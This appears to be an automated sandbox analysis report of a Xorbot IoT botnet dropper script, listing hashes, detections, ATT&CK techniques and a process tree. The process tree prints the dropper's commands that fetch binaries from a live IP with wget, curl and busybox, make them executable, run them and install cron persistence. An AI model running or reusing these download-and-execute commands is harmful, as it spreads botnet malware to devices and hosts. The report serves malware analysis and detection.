xorbot | 0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4

Analysis

max time kernel
149s
max time network
133s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 12:26

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General

Target

PODZ2_bins.sh
Size

10KB
MD5

6d5db893b3366e9b599c283095502209
SHA1

20bb6748cb464f266c5d2d9c823902992608268f
SHA256

0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4
SHA512

45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402
SSDEEP

96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
697	chmod
676	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	677	PODZ2_bins.sh
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	699	PODZ2_bins.sh

Renames itself 1 IoCs

pid	Process
700	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.58fwmI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/19/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/579/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/642/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/645/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/578/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/22/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/16/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/726/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/774/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/3/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/15/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/650/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/772/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/779/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/163/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/301/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/652/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/105/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/598/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/731/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/792/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/7/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/42/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/734/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/754/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/26/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/108/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/266/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/717/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/724/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/744/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/28/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/719/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/766/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/758/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/21/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/216/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/308/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/582/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/638/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/718/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/4/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/20/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/75/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/723/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/789/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/41/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/137/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/730/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/9/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/12/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/311/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/715/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/787/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/29/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/271/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/637/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/783/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/107/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/763/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/801/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/18/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	busybox
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	curl
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	busybox
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	wget
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	curl

/tmp/PODZ2_bins.sh
/tmp/PODZ2_bins.sh
1⤵
- Executes dropped EXE
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:677
- /bin/rm
  rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:679
- /usr/bin/wget
  wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Writes file to tmp directory
  PID:695
- /bin/chmod
  chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:699
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:701
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:702
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:704
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:705
- /bin/rm
  rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:716
- /usr/bin/wget
  wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  PID:720
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:722

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.58fwmI

Filesize
210B

MD5
664b9d322681c73c2d319bc6ed653c73

SHA1
9649f8de69087eeb11857bc859521b3020a19848

SHA256
782151e038517592e5b5cf9bc3c352e09c8acba554a464bda38613a42665ba24

SHA512
dc07d117c950298a77396807c4f1d6e9952a16a579d881f46ecf72d65e73e738b813b0a50240a6bb49f3ef19a57b40526832c52aa99a5820aeee3fe9b664b4f9

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads